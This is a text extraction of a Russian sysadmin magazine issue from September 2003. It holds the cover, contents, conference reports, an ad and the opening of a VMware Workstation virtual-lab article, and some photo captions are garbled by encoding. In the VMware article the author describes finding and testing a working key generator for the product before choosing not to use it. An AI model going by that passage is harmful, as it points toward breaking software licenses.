98
журнал для cистемных администраторов, вебмастеров и программистов №9(10) сентябрь 2003 подписной индекс 81655 Маленький Linux в качестве firewall Работа с жестким диском на программном уровне Виртуальный полигон для администратора и разработчика Искажение ТОС как средство борьбы с несанкционированным копированием диска Рецепты правильного трудоустройства Построение переносимого Shell-кода для Windows-систем Маленький Linux в качестве firewall Работа с жестким диском на программном уровне Виртуальный полигон для администратора и разработчика Искажение ТОС как средство борьбы с несанкционированным копированием диска Рецепты правильного трудоустройства Построение переносимого Shell-кода для Windows-систем №9(10) сентябрь 2003

010 Системный Администратор 09 2003

Embed Size (px)

DESCRIPTION

№9(10) сентябрь 2003 журнал для cистемных администраторов, вебмастеров и программистов подписной индекс 81655 №9(10) сентябрь 2003 34 46 50 24 Бороться с нежелательной почтой можно по-разному. Эта статья расскажет, как прикрутить фильтр SpamAssassin к MTA Postfix. Андрей Мозговой [email protected] Атака на переполнение буфера через неисполнимый стек в Windows NT/2000/XP Виртуальный полигон для администратора и разработчика 8 1 2 Äèïëîìû ïî 3-ì íîìèíàöèÿì Æàðêèå äèñêóññèè â ïåðåðûâàõ

Citation preview

Page 1: 010 Системный Администратор 09 2003

журнал для cистемных администраторов,вебмастеров и программистов

№9(10) сентябрь 2003подписной индекс 81655

Маленький Linuxв качестве firewall

Работа с жестким дискомна программном уровне

Виртуальный полигондля администратораи разработчика

Искажение ТОСкак средство борьбыс несанкционированнымкопированием диска

Рецепты правильноготрудоустройства

Построениепереносимого Shell-кодадля Windows-систем

Маленький Linuxв качестве firewall

Работа с жестким дискомна программном уровне

Виртуальный полигондля администратораи разработчика

Искажение ТОСкак средство борьбыс несанкционированнымкопированием диска

Рецепты правильноготрудоустройства

Построениепереносимого Shell-кодадля Windows-систем

№9(

10)

сент

ябрь

200

3

Page 2: 010 Системный Администратор 09 2003
Page 3: 010 Системный Администратор 09 2003

1№9(10), сентябрь 2003

оглавление

Очередная веская причиназадуматься о переходес ОС Windows на альтернативу

Список червей в Сети дополнен еще одним – W32.Blaster.Анализ червя и «лекарство» от него.Виктор Игнатьев[email protected] 62

БЕЗОПАСНОСТЬ

Построение переносимого Shell-кодадля Windows-систем

Станислав Гошко[email protected] 66

Атака на переполнение буферачерез неисполнимый стекв Windows NT/2000/XP

Станислав Гошко[email protected] 70

ПРОГРАММИРОВАНИЕ

Работа с базами данных на PerlВладислав Гошко[email protected]

74

ОБРАЗОВАНИЕ

Скупой платит дважды, а умныйиспользует GNU Public License

Сравнение позиций и комментарии существенных мо-ментов двух лицензий: GNU Public License и Microsoft.Павел Закляков[email protected] 80

IMHO

Рецепты правильного трудоустройстваПодойдите к поиску своего призвания творческии не бойтесь экспериментировать!Крис Касперски[email protected] 88

Маленький Linux в качестве firewallОбзор дистрибутивов, позволяющих настроить совмес-тный доступ в Интернет и имеющих среди дополнитель-ных возможностей firewall, NAT, кеширующий DNS-сер-вер, DHCP-сервер, ftp- и www-сервера, а в более про-двинутых решениях даже VPN.Сергей Яремчук[email protected]

Работа с жестким дискомна программном уровне

Как осуществить доступ к IDE-диску на программномуровне при помощи файла устройства и через портыATA-контроллера.Владимир Мешков[email protected] 54

АДМИНИСТРИРОВАНИЕ

Искажение TOC как средство борьбыс несанкционированным копированиемдиска

Крис Касперски[email protected] 34

Виртуальный полигондля администратора и разработчика

Используйте технические возможности VMWareна все 100%.Андрей Бешков[email protected] 8

Загрузка по сетиОписывается загрузка (не путать с установкой!) опе-рационной системы Linux по сети.Денис Колисниченко[email protected] 46

Postfix+...+SpamAssassinMini-howto

Бороться с нежелательной почтой можно по-разному. Этастатья расскажет, как прикрутить фильтр SpamAssassinк MTA Postfix.Андрей Мозговой[email protected] 50

24

HARDWARE

BUGTRAQ 45, 65, 69, 78

РЕПОРТАЖ 2, 4

Page 4: 010 Системный Администратор 09 2003

2

репортаж

SYSM.0112 июля состоялся первый Семинар си-стемных администраторов и инженеров,организованный порталом SysAdmins.ruи приуроченный ко второй годовщинесего проекта. Собралось более 130 спе-циалистов из Москвы, Санкт-Петербур-га, Ростова-на-Дону, Екатеринбурга, Ка-зани. Большинство из них – професси-ональные и начинающие системные ад-министраторы, а также IT-специалисты,«выросшие» из сисадминов – руководи-тели IT-подразделений и служб техни-ческой поддержки, IT-аналитики, сис-темные инженеры .

Как и было обещано организатора-ми, семинар состоялся в действитель-но уютном и спокойном месте, котороеоказалось удобным и для размещенияиногородних участников.

Удалось все: успешно подобранытемы выступлений, докладчикам при-шлось отвечать на многочисленные вопросы, обсужде-ние не прекращалось и в перерывах между выступления-ми. В кулуарах происходили не менее интересные дис-куссии, споры, обмен информацией и опытом, завязыва-лись деловые контакты, не обошлось и без сисадминскихисторий и баек.

После всех выступлений состоялось награждение па-мятными дипломами участников по трем номинациям: луч-шим модератором форума SysAdmins.ru безоговорочнобыл признан Андрей Бешков (aka Tigrisha), лучшим ньюс-мейкером – Дмитрий Репин (aka стариk), а самым актив-

ным участником форума оказался Руслан Иванов (aka Rend).Атмосфера была потрясающая, общение – эффек-

тивным и плодотворным. По словам одного из органи-заторов, Алексея Липовцева, мероприятие удалось навсе 100%, и следующий SYSM, который состоится в де-кабре 2003 года, обещает быть еще более интересными масштабным.

Темы и материалы выступлений вы можете найти наhttp://sysadmins.ru

Наталья ХвостоваФото Алексея Фомина

Äèïëîìû ïî 3-ì íîìèíàöèÿì

Æàðêèå äèñêóññèè â ïåðåðûâàõ

Page 5: 010 Системный Администратор 09 2003

3№9(10), сентябрь 2003

репортаж

Âûñòóïëåíèå Àíäðåÿ Áåøêîâà

SYSM.01 çàâåðø¸í. Óäà÷íî

Page 6: 010 Системный Администратор 09 2003

4

репортаж

Linux_fest-5.0В последние выходные июля прошел «пятый фестивальразработчиков и пользователей свободного ПО «ЛинуксФест».

Несмотря на столь официальное название, фестивальбольше всего напоминал КСП-шный слет, на котором вме-сто песен говорили о дистрибутивах, хотя песен вечеромпод гитару также хватало (ну и туристы ведь тоже о ком-пьютерах болтают). Как вы уже поняли, фестиваль был влесу, на берегу замечательной речки Протвы, текущейна границе Калужской и Московской областей. Столь не-формальная форма проведения фестиваля была выбра-на не случайно: на берегу речки или около костра стира-ется разница между «зубрами» и новичками, можно спо-койно поговорить, да и вообще – это фестиваль, а на фе-стивале должно быть весело!

Для увеселения были придуманы конкурсы – «сизифовтруд» (надо вкатить в гору здоровенную колоду, а потомспустить вниз, на время), «перетягивание к хабу» (а по-скольку сисадмин должен протянуть сеть в любых услови-ях, то перетягивали в воде), и многие другие. Призами вконкурсах были полные подшивки нашего журнала, майкиот ALT Linux, а за некоторые конкурсы – дистрибутивы (ко-манда, перетянувшая каоксиальный провод на свой берег,получила дистрибутив «Утеса» – самой последней защи-щенной серверной версии от ALT Linux). Кроме развлече-ний, разумеется, были и серьезные семинары, хотя поройи облечённые в несерьезную форму: так, один семинарпроходил в воде! Разработчик некого ПО сидя в речке,

объяснял находящимся вокруг особенности компиляции инастройки системы. Надо сказать, что в +30°C такое мес-тоположение лектора и аудитории весьма осмысленно.

Но больше всего мне запомнилась ночь: весь лес былосвещен свечками, ими же была выложена лестница кводе, свечки стояли на берегу и в листьях кувшинок, анекоторые, смытые течением, плыли по реке. В ночи этасветящаяся лестница и река с уплывающими в туман све-чами производила великолепное впечатление!

В общем, все участники хорошо отдохнули, пообща-лись с интересными людьми и узнали что-то новое.

Эх, кабы не работа, остался бы там еще на денек!

Константин МеделянФото Валентины Ванеевы

Íî÷ü. Òåìíàÿ ðåêàÎðãêîìèòåò è âñå, âñå, âñå

ALT Linux – ýòèì âñ¸ ñêàçàíî

Íåîôèöèàëüíûé ñèìâîë ôåñòèâàëÿ

Page 7: 010 Системный Администратор 09 2003

5№9(10), сентябрь 2003

репортаж

Ðåêà Ïðîòâà

«Ìîêðûé ñåìèíàð»

Page 8: 010 Системный Администратор 09 2003

6

Неделя Информационных Технологий «IT-Week 2004»это:� Крупнейший в России и странах СНГ форум в отрасли

Информационных Технологий� Пять международных IT-выставок, проводимых в одно

время и в одном месте� Две международные конференции� Более 250 компаний-участников из 25 стран мира� Свыше 75 000 посетителей из более чем 500 городов

России и СНГ� 35 000 специалистов IT-индустрии в деловой части вы-

ставки� Официальная поддержка Министерства РФ по связи

и информатизации, Министерства промышленности,науки и технологий РФ, Министерства экономическо-го развития и торговли РФ, Министерства образова-ния РФ, а также Правительства Москвы

В рамках «IT-Week 2004» пройдут следующие выстав-ки и конференции:1. Personal Computing Expo – общая, неспециализиро-

ванная выставка, ориентированная на конечныхпользователей. В ней представлены производители идистрибьюторы персональных компьютеров и перифе-рии, компьютерных игр, дистрибьюторы сотовой тех-ники и портативных компьютеров, интернет- и контент-провайдеры и многие другие.

2. Hardware & Peripherals Expo – специализированнаявыставка, на которой представлены: компьютеры, мо-ниторы, периферийные устройства, комплектующие,накопители, коммуникационное оборудование и услу-ги, т.е. весь спектр hardware, ориентированного на ве-дение бизнеса.

3. Software Expo – специализированная выставка, ори-ентированная на программные продукты для систембухгалтерского и складского учета, комплексного ПОуправления предприятием, систем управления доку-ментооборотом, систем распознавания документов,разработку ПО, защиту информации. В рамках этойвыставки будет подготовлен цикл тематических се-минаров, посвященных актуальным вопросам в об-ласти разработки экономических программ и системуправления бизнесом.

4. Специализированная выставка CAD/CAM/CAE представ-ляет системы автоматизированного проектирования. Длябольшинства российских производителей необходимостьиспользования САПР для оптимизации работы предпри-ятия стала очевидной. Особенно ярко это проявляется втаких отраслях, как авиастроение, автомобилестроение,тяжелое машиностроение, архитектура, строительство,нефтегазовая промышленность.

5. eLearn Expo – специализированная выставка, на кото-рой будут демонстрироваться новейшие продукты и тех-нологии в сфере электронного обучения, предназначен-ные для коллективного и индивидуального пользования.Дистанционное обучение через сети Internet и Intranet,получившее широкое распространение в развитых стра-нах, становится все более актуальным и для России.

6. eBusiness Russia (Электронный бизнес в России) –международная конференции, посвященная вопросамавтоматизации бизнес-процессов, развития электрон-ной коммерции, подбора ИТ-персонала.

7. Международная конференция eLearning Russia (Ин-формационные технологии в образовании), на которойбудут освещены последние достижения образователь-ных технологий в школах, вузах, а также рассмотренывопросы дистанционного и бизнес-образования.

Рекламная кампания по привлечению посетителей наIT-Week основана на многолетнем опыте проведения выс-тавок, тщательном анализе данных маркетинговых иссле-дований и четком выделении целевой аудитории. Посеще-ние специализированных выставок Hardware & PeripheralsExpo, Software Expo, CAD/CAM/CAE, eLearn Expo, состав-ляющих деловую часть Недели Информационных Тех-нологий, возможно только для корпоративных бизнес-по-сетителей, прошедших регистрацию. Это позволяет каче-ственно изменить состав посетителей этой части и даетвозможность участникам в деловой обстановке предста-вить свою продукцию и услуги заинтересованным специа-листам и партнерам по бизнесу. Практически полностьюаудитория деловой части IT-Week представлена менед-жерами высшего и среднего звена, техническими специа-листами и системными администраторами.

Тел.: +7 (095) 935 7350, 935 8120eMail: [email protected]

Уважаемые господа!

Компания «ITE LLC» (Москва), при содействииITE Group Plc (Великобритания) предлагаетВашему вниманию

Москва, Экспоцентр на Красной Пресне26 – 29 апреля 2004 года

НЕДЕЛЮ ИНФОРМАЦИОННЫХ ТЕХНОЛОГИЙ«IT-WEEK 2004»

Page 9: 010 Системный Администратор 09 2003
Page 10: 010 Системный Администратор 09 2003

8

администрирование

ВИРТУАЛЬНЫЙ ПОЛИГОНДЛЯ АДМИНИСТРАТОРАИ РАЗРАБОТЧИКА

ВИРТУАЛЬНЫЙ ПОЛИГОНДЛЯ АДМИНИСТРАТОРАИ РАЗРАБОТЧИКА

АНДРЕЙ БЕШКОВ

Сегодня мы поговорим о VMWare Workstation – самом младшем из продуктов в линейке виртуальныхмашин фирмы VMWare. Если расположить их в порядке убывания стоимости и сложности внутреннегоустройства, то получится такая цепочка VMWare GSX Server, VMWare ESX Server, VMWare Workstation.Сначала идут решения промышленного класса GSX Server и ESX Server. В контексте сегодняшней темыговорить о них мы не будем, иначе статья займет слишком много места.

Page 11: 010 Системный Администратор 09 2003

9№9(10), сентябрь 2003

администрирование

� SuSe Linux Enterprise Server 7,8� SuSe Linux 7.3, 8.0, 8.1

Официально поддерживаемыми называются те видыLinux, для которых разработчики VMWare Workstation со-здали бинарные файлы модулей, загружаемых в ядро.Пользователи всех остальных версий Linux должны ком-пилировать такие модули из исходных текстов самостоя-тельно. Несмотря на то, что нашего ALT Linux Master 2.2 вэтом списке нет, мы все же настроим и запустим VMWareWorkstation под его управлением. Разобравшись с Linux,обратим свой взор на Windows.

Ниже привожу список операционных систем Windows,рекомендованных к использованию в роли основной:� Windows Server 2003 Web Edition RC2, Standard Edition

RC2 , Enterprise Edition RC2� Windows XP Professional, Home Edition� Windows 2000 Professional, Server, Advanced Server� Windows NT Workstation 4.0, Server 4.0, Terminal Server

Edition 4.0 – все с сервиспаком 6

Теперь перейдем ко второму виду систем. Системы,запущенные внутри контейнера виртуальной машиныVMWare Workstation, называются «гостевыми». На дан-ный момент можно запускать следующие системы:� Windows Server 2003 Web Edition RC2, Standard Edition RC2,

Enterprise Edition RC2� Windows 2000 Professional, Server, Advanced Server� Windows XP Professional, Home Edition� Windows NT Workstation 4.0, Server 4.0, Terminal Server

Edition 4.0� Windows 3.1, 3.11, 95, 98, 98 SE, ME� Red Hat Linux 7.0, 7.1, 7.2, 7.3, 8.0� Linux Mandrake 8.2, 9.0� SuSe Linux 7.3� SuSe Linux Enterprise Server 7.0, 8.0, 8.1� Turbolinux Server 7.0, 8.0� Turbolinux Workstation 8.0� Microsoft MS-DOS 6.x� FreeBSD 4.0-4.6.2, 4.8� Novell Netware 5.1, 6

Количество официальных основных и гостевых сис-тем постоянно расширяется, поэтому, если вы не нашлив нем свою систему, не огорчайтесь. Имеет смысл по-смотреть самую последнюю версию спиcка по адресуhttp://vmware.com/support/. Если же и в нем нет вашей си-стемы, не отчаивайтесь. Возможно, что нужная вам сис-тема нормально работает внутри виртуальной машины,но персонал фирмы VMWare, ответственный за тестиро-вание новых систем, просто не пробовал устанавливатьи запускать ее. К примеру, несмотря на то, что NetBSD,ASP Linux, Black Cat Linux и OpenBSD отсутствуют в при-веденном выше списке, все они отлично работали внутримоих тестовых виртуальных машин.

Как ни странно, но, приложив некоторое количествоусилий и проведя некоторые нестандартные манипуляции,мне удалось более или менее сносно запустить внутриконтейнера даже такую экзотику, как QNX. Хотя она и за-

Лично меня – а по прочтении этой статьи, возможно, ивас – будет больше всего интересовать VMWare Workstation,как наиболее близкая по предоставляемым возможнос-тям к нуждам большинства пользователей.

В последнее время я все чаще и чаще сталкиваюсь состатьями о технологиях виртуальных машин, построенныхна основе VMWare Workstation. Странно, но большинствоавторов словно зациклились на описании того, как с по-мощью виртуальной машины запустить Windows и его род-ные приложения под Linux. Судя по количеству опублико-ванных статей и популярности у сетевого сообщества та-кого рода развлечений, мне кажется, что, несмотря наежегодные уверенные заявления линуксоидов о превос-ходстве их любимой операционной системы над Windows,пингвин еще недостаточно созрел, чтобы занять местоWindows в качестве настольной операционной системыдля повседневного пользования. Иначе откуда у рядово-го пользователя Linux такая нездоровая тяга к проприе-тарному программному обеспечению? Налицо положение,интересное своей парадоксальностью, – люди, работаю-щие на свободно распространяемой системе, использу-ют виртуальную машину стоимостью в 300$ только длятого, чтобы запускать внутри нее Windows и набор сопут-ствующих утилит и программ. Самое веселое в этой си-туации то, что за весь список программного обеспеченияот Майкрософт и прочих производителей, выполняюще-гося внутри этой самой машины, все равно нужно пла-тить лицензионные отчисления, если не хочешь иметь про-блем с законом. Такой способ работы, по моему личномумнению, похож на разбивание орехов золотым микроско-пом внушительных размеров. Результат, ради которогозатевались все эти танцы вокруг кактуса, вроде бы дос-тигнут, но возможности VMWare Workstation используют-ся от силы на 10 процентов, да и по деньгам уж оченьнакладно получается. Особенно если учесть то обстоя-тельство, что существуют другие способы запуститьWindows-программы под Linux. Решить большинство извышеописанных проблем, возникающих при попытке за-пуска чужеродного программного обеспечения, можно спомощью Wine, Win4Lin, Crossover Office, bochs.

Перед тем как пуститься в обсуждение всего разнооб-разия полезных применений этого продукта, разберемсяс некоторыми наиболее важными базовыми терминами,которые будут часто использоваться в дальнейшем на про-тяжении всей статьи.

Операционная система, под управлением которой ра-ботает программа VMWare Workstation, называется «ос-новной» системой.

В качестве основной операционной системы пока мож-но использовать только Linux и Windows. К сожалению, 4-яVMWare Workstation еще не портирована для FreeBSD. По-этому поклонникам этой операционной системы придет-ся довольствоваться несколько устаревшей 3-й версией.

Давайте посмотрим, какие дистрибутивы Linux офи-циально поддерживаются и могут выступать в роли ос-новной системы:� Mandrake Linux 8.2, 9.0� Red Hat Advanced Server 2.1� Red Hat Linux 7.0, 7.1, 7.2, 7.3, 8.0

Page 12: 010 Системный Администратор 09 2003

10

администрирование

работала, но из-за специфических методик тестированияоборудования, используемых на этапе начальной загруз-ки, ожидание ее длилось почти 15 минут. В процессе тес-тирования обнаружилось, что временами эта гостеваясистема по непонятным причинам впадает в глубокую за-думчивость на срок от двух до пяти минут. Во всем ос-тальном она работала довольно стабильно. Отсюда де-лаем вывод, что система виртуальных машин имеет боль-шой запас прочности и работает гораздо лучше, чем ду-мают ее создатели.

Авторы VMWare Workstation не запрещают вам рабо-тать с их продуктом любым пришедшим в голову спосо-бом, но все же справедливо считают, что использовать еголучше всего для наиболее интересных и нетривиальныхзадач. Давайте подробнее обсудим это странное несовпа-дение взглядов на одну и ту же программу.

Человеку, правильно понимающему, как разумно ис-пользовать технологию виртуальных машин по прямомуназначению, продукт, являющийся предметом обсужде-ния этой статьи, в первую очередь может принести пользус помощью существенного ускорения процесса разработ-ки программного обеспечения. Представьте себе ситуа-цию, часто складывающуюся в процессе разработки про-граммы сразу для нескольких операционных систем. Напервый взгляд все довольно легко. Пишем переносимыйкод и с помощью кроссплатформенного компилятора со-здаем бинарные файлы для каждой операционной систе-мы. Затем записываем их на сменный носитель или раз-дел диска, доступный всем операционным системам, ус-тановленным на машине. Тестируем работу программыпод текущей операционной системой. Завершаем рабо-ту с этой операционкой и перегружаем компьютер. Заг-рузив следующую операционную систему, принимаемсяза тестирование образца, предназначенного для нее. Итак до тех пор, пока не проверим все варианты. Хорошо,если все версии бинарных файлов работают как нужно спервого раза. Но в жизни подобное счастье приключает-ся весьма редко. Таким образом, большая часть рабоче-го времени будет потрачена на постоянные перезагрузкииз одной системы в другую. Если же мы пользуемсяVMWare Workstation, жизнь становится гораздо проще.Под управлением основной системы одновременно запу-щены сразу все нужные нам операционные системы. Каж-дая из них сидит в своем контейнере и терпеливо ожида-ет нашего внимания, пребывая в полной уверенности, чтона этом компьютере выполняется только она. Теперь про-цесс тестирования проходит на порядок быстрее. Нужнотолько переключаться между операционными системамии проверять работоспособность своей программы.

Другим полезным применением виртуальной машиныможет стать необходимость исследования нового, неизве-стного и даже потенциально опасного программного обес-печения. Кроме прочих кроссплатформенных удобств, этодает возможность безопасно изучать компьютерные виру-сы и вредоносные программы. Внутри тестового контей-нера легко создать нужную среду. Изолированность вир-туальной машины от основной операционной системы даетвозможность не бояться дальнейшего распространениявируса или срабатывания вредоносных механизмов иссле-

дуемого программного обеспечения. После того как экс-перименты закончены, не составляет труда вернуть кон-тейнер, а соответственно и систему внутри него, в то со-стояние, в котором они были до того, как мы начали нашиисследования. А при наличии желания и страсти к разру-шению, можно вообще с легкостью уничтожить содержи-мое контейнера вместе со всеми опасными объектами,получившимися в результате тестов.

Следующей нишей, в которой возможно успешное ис-пользование описываемой технологии, является обучениеработе с теми или иными программными комплексами. Со-здав одну виртуальную машину с нужным набором про-граммного обеспечения, в течение нескольких минут мож-но растиражировать ее на все машины компьютерногокласса. Ничего страшного не произойдет, если обучаемыйв процессе освоения преподаваемых технологий умышлен-но или нечаянно разрушит подопытную среду. Для восста-новления поврежденной виртуальной машины из резерв-ной копии понадобится всего несколько минут.

Подумайте, насколько удобно будет проводить реклам-ные презентации внутри виртуальной машины. Можновыбрать любую из целевых операционных систем. Новместо демонстрации слайдов появляется потрясающаявозможность в режиме реального времени активно про-водить демонстрацию методов работы, разнообразныхудобств, конкурентных преимуществ и прочих интерес-ных свойств рекламируемого продукта.

Также перспективным является применение виртуаль-ных машин в службах технической поддержки. Толькопредставьте себе возможность в течение короткого про-межутка времени построить среду, полностью повторяю-щую конфигурацию пользовательской машины. Благода-ря такому подходу, поиск проблемы и ее устранение ус-коряются в несколько раз.

В процессе разработки стратегии миграции с однойоперационной системы на другую может возникнуть не-обходимость проверить, как будет работать ваше специ-фическое или самописное программное обеспечение в но-вом окружении.

Все вышеперечисленные возможности выглядят оченьдаже привлекательно, но все же статья не столько о них,сколько об опыте комбинирования всего потенциала спо-собностей VMWare Workstation. Давайте разберемся, каксполна воспользоваться техническим могуществом, пре-доставляемым VMWare Workstation.

В связи со спецификой профессии, мне, как и многимдругим администраторам, приходится постоянно разра-батывать способы интеграции между собой разных служби приложений. Иногда для проверки того или иного реше-ния нужна всего лишь одна машина. А что прикажете де-лать, если нужно имитировать работу одной или несколь-ких связанных между собой локальных сетей? В данномслучае у нас есть два варианта действий.

Первый – по старинке взять завалявшийся на складекоммутатор и из старых машин собрать маленькую сеть.Проблема в том, что старого железа, как всегда, не хва-тает. Вдобавок у такого решения есть еще один недоста-ток, состоящий в том, что всю эту путаницу из проводов икомпьютеров нужно где-то расположить, но не у каждого

Page 13: 010 Системный Администратор 09 2003

11№9(10), сентябрь 2003

администрирование

администратора на рабочем столе есть несколько квад-ратных метров свободного места. У такого решения естьеще одна неочевидная на первый взгляд загвоздка. Ник-то не может гарантировать, что подержанное железо бу-дет стабильно работать, как положено. Попав в такуюловушку, можно потерять довольно много времени в по-пытках выяснить, почему та или иная подопытная опера-ционная система категорически отказывается устанавли-ваться на выбранные компьютеры.

Второй вариант гораздо проще, удобнее. А самое глав-ное – гораздо более продвинут с технической точки зре-ния. Все, что нам понадобится, – это компьютер среднеймощности. Все наши тестовые сети и компьютеры, нахо-дящиеся внутри них, мы создадим, используя средствакомплекса виртуальных машин VMWare Workstation.

В данной статье будет подробно описана последова-тельность действий, необходимых для инсталляцииVMWare Workstation на Windows 2000 Professional. Затеммы рассмотрим создание макета сетей, изображенногона следующем рисунке.

Как сделать то же самое для ALT Linux Master 2.2, бу-дет описано во второй части этой статьи.

В сетях Vmnet2 и Vmnet3 находятся машины, работаю-щие под управлением операционных систем Windows 98SEи Windows 2000. Машина Windows 98SE имеет статичес-кий адрес 192.168.120.15, а Windows 2000 получает адрес192.168.80.128 динамически с помощью DHCP. Сеть Vmnet1

служит у нас демилитаризованной зоной (DMZ). Внутри нееобитает машина со статическим адресом 192.168.40.32 подуправлением Linux Mandrake 9.0, на которой для демонст-рации работы сетевых служб будет установлен веб-серверApache со статическим адресом. Между собой три сети,перечисленные выше, соединены с помощью шлюза, ра-ботающего на основе FreeBSD 4.7 с тремя сетевыми ин-терфейсами. Я надеюсь, всем понятно, что для более про-стого функционирования наших сетей все три интерфейсамашины FreeBSD тоже должны иметь фиксированные ад-реса. Ну и в роли нашего последнего пациента выступаетмашина NetBSD с двумя интерфейсами. Первый из них садресом 192.168.40.57 смотрит в демилитаризованнуюзону, а второй является шлюзом в Интернет. На второминтерфейсе 192.168.32.128 работает механизм преобра-зования сетевых адресов (NAT), это, в свою очередь, даетвозможность предоставить доступ к веб-серверу клиентам,находящимся в Интернете. Частично благодаря этому ма-шины, находящиеся в наших локальных сетях, могут легкопользоваться услугами не только Linux веб-сервера, нолюбого другого веб-сервера, расположившегося в любойточке Интернета.

Таким образом, у нас получается рабочий макет стан-дартной схемы локальной сети масштаба предприятия,подключенной к Интернету. Для простоты понимания учеб-ного примера проведена миниатюризация, заключающа-яся в том, что в каждую сеть помещен только один компь-

Page 14: 010 Системный Администратор 09 2003

12

администрирование

ютер. Я думаю, этого будет достаточно для демонстра-ции обсуждаемых концепций.

Если верить утверждениям разработчиков, то для того,чтобы сносно работать с VMWare Workstation, нам потре-буется компьютер со следующими характеристиками.

Скорость процессора минимум 266 MHz, но все же ре-комендуется не ниже 400 MHz. Стоит обратить вниманиена тот факт, что поддержка мультипроцессорных системвыполнена очень качественно. К примеру, можно указать,на каком из нескольких процессоров будет выполняться таили иная гостевая система.

Количество необходимой памяти рассчитываем по сле-дующей формуле – память, необходимая для запуска ос-новной системы, плюс память, требуемая для каждой го-стевой системы. Минимумом принято считать 128 Мб, нолучше иметь 256 Мб. Впрочем, как я убедился на собствен-ном опыте, оперативной памяти никогда не бывает слиш-ком много.

Видеоадаптер основной операционной системы долженподдерживать режимы с количеством цветов более чем 256.

Пространство жесткого диска, необходимое для ин-сталляции, рассчитывается так же, как и размер опера-тивной памяти. В зависимости от основной операцион-ной системы, для инсталляции пакета VMWare Workstationнам потребуется иметь 100 Мб свободного пространствана жестком диске для Windows и соответственно 20 Мбдля Linux. Считается хорошим тоном отдавать гостевымсистемам столько же места, сколько нужно для установ-ки каждой из них и всего сопутствующего программного

обеспечения на обычный компьютер. В то же время реко-мендуется выделять не менее 1 Гб пространства на жест-ком диске для любой гостевой операционной системы.

Итак, давайте разберемся с теорией функционирова-ния VMWare Workstation. Внутри реальной машины на ос-нове процессора X86 работает основная операционнаясистема. Под ее управлением выполняются приложения,родные для этой системы. Несмотря на тот факт, чтоVMWare Workstation также является родным для основ-ной системы приложением, между ним и системой нахо-дится тонкая прослойка, называемая «слоем виртуали-зации» и позволяющая виртуализировать работу с обо-рудованием, установленным на реальной машине. Этонужно для того, чтобы позволить единообразно и прозрач-но работать с подобным оборудованием из каждой госте-вой системы. Следующая задача, которая решается вве-дением такого промежуточного слоя, – это предоставле-ние всем системам одновременного доступа к оборудо-ванию реальной системы.

В свою очередь внутри приложения VMWare Workstationнаходятся контейнеры виртуальных машин. Каждая из нихполучает в свое распоряжение следующий набор вирту-альных устройств:� Процессор – такой же частоты, как установленный в

настоящей машине. На многопроцессорном компью-тере каждая машина получает доступ только к одномуиз доступных процессоров.

� BIOS – PhoenixBIOS версии 4.0 со встроенной поддер-жкой VESA и ACPI.

Page 15: 010 Системный Администратор 09 2003

13№9(10), сентябрь 2003

администрирование

� Материнская плата на основе чипсета Intel 440BX с под-держкой 82093 AA IOAPIC и NS3380 SIO.

� Оперативная память – в зависимости от доступной нареальной машине. Не может превышать предел в 1 Гб.

� SCSI – до 7 одновременно подключенных устройств.Дает возможность создавать виртуальные жесткиедиски размером до 256 Гб. Простой интерфейс рабо-ты со SCSI-устройствами позволяет легко подключатьDVD-ROM, CD-ROM, ленточные накопители, сканерыи прочие SCSI-устройства.

� Два гибких диска формата 3.5 дюйма по 1.44 Мб.� Три Ethernet-карты, совместимых с AMD PCnet-PCI II.� Контроллер USB 1.1 UHCI с двумя портами. Позволя-

ет работать с USB-сканерами, принтерами, цифровы-ми камерами, наладонными компьютерами, устрой-ствами для чтения карт памяти.

� Четыре последовательных (COM) порта.� Два параллельных (LPT) порта.� Клавиатура с расширенной поддержкой 104 клавиш.

Очень удобно для виртуальных машин, внутри кото-рых работают гостевые Windows-системы.

� Ввод и вывод звука через Creative Labs Sound BlasterAudio PCI. К сожалению, MIDI и джойстик не поддер-живаются.

На основе такого богатого выбора можно создаватьлюбые, даже самые экзотичные, комбинации из выше-перечисленного оборудования. Следующей в нашемсписке фигурирует гостевая операционная система, ко-торая работает с созданным нами набором виртуальныхустройств. На ее основе запускаются все приложения,предназначенные для работы с этой конкретной систе-мой. Разобравшись с картинкой и принципами функци-онирования VMWare Workstation, приступим к практичес-ким занятиям.

ALT Linux Master 2.2 в качестве основной Linux-систе-мы был выбран не случайно, так как отсутствует в спискеофициально поддерживаемых, а также за то, что вовре-мя оказался под рукой. Кроме всего прочего он довольношироко распространен среди русскоязычных пользова-телей. Процедура установки на любой из официальныхLinux-дистрибутивов слишком проста, чтобы научить чи-тателя чему-то полезному. Многие подводные камни прой-дут мимо и не будут замечены до тех пор, пока не придет-ся самостоятельно устанавливать VMWare Workstation дляработы под управлением неофициального варианта Linux.Пользуясь моим опытом, читатель ценой малой кровисможет устанавливать VMWare Workstation на множестводругих разновидностей Linux.

Освоив минимум теории, необходимой для успешнойработы с VMWare Workstation, перейдем к активным дей-ствиям. На сайте производителя http://www.vmware.com/download/workstation.html заказываем себе пробный се-рийный номер для Windows и Linux. Все подобные ли-цензии действуют в течение 30 дней с момента отправ-ки заказа. Таким образом, мы получаем в свое распоря-жение на целый месяц полнофункциональную версиюпрограммы. Через несколько минут в наш ящик элект-ронной почты упадет два письма с серийными номера-

ми для разных платформ. Интересно то, что запраши-вать пробные номера можно неограниченное количествораз, но на разные почтовые ящики. Вот так можно ис-пользовать VMWare Workstation, не нарушая никаких за-конов, сколько угодно долго. Подобная лояльная поли-тика персонала VMWare.inc вызывает искреннее уваже-ние. Видимо, деньги – не самое важное для них. Какобычно, потакая собственному любопытству, я задалсяцелью посмотреть, как обстоит дело с надежностью за-щиты, и пошел на ближайший поисковый сервер. Про-грамма, генерирующая серийные номера для любой вер-сии VMWare Workstation, была найдена всего за 15 ми-нут. Протестировав работоспособность создаваемыхключей для Windows и Linux, могу сказать, что они от-лично работают и дают доступ к полной функциональ-ности виртуальной машины, снимая всяческие времен-ные ограничения. Годы пользования свободными опера-ционными системами не прошли для меня даром, поэто-му я очень не люблю нарушать любые лицензионные со-глашения. Опираясь на все вышесказанное, для себялично принял решение не использовать добытые такимобразом серийные номера. Думаю, что маленькие еже-месячные неудобства, связанные с заказом новых проб-ных лицензий, – терпимая плата за возможность работыс таким потрясающим инструментом без всяких проблемс представителями закона. Вы же можете поступать, каквам заблагорассудится.

В качестве первого этапа работы выполним процеду-ру инсталляции VMWare Workstation для Windows. То, чтонам предстоит сделать, просто, как мычание. Скачиваемотсюда: http://www.vmware.com/download/workstation.htmlфайл vmware-workstation-4.0.0-4460.

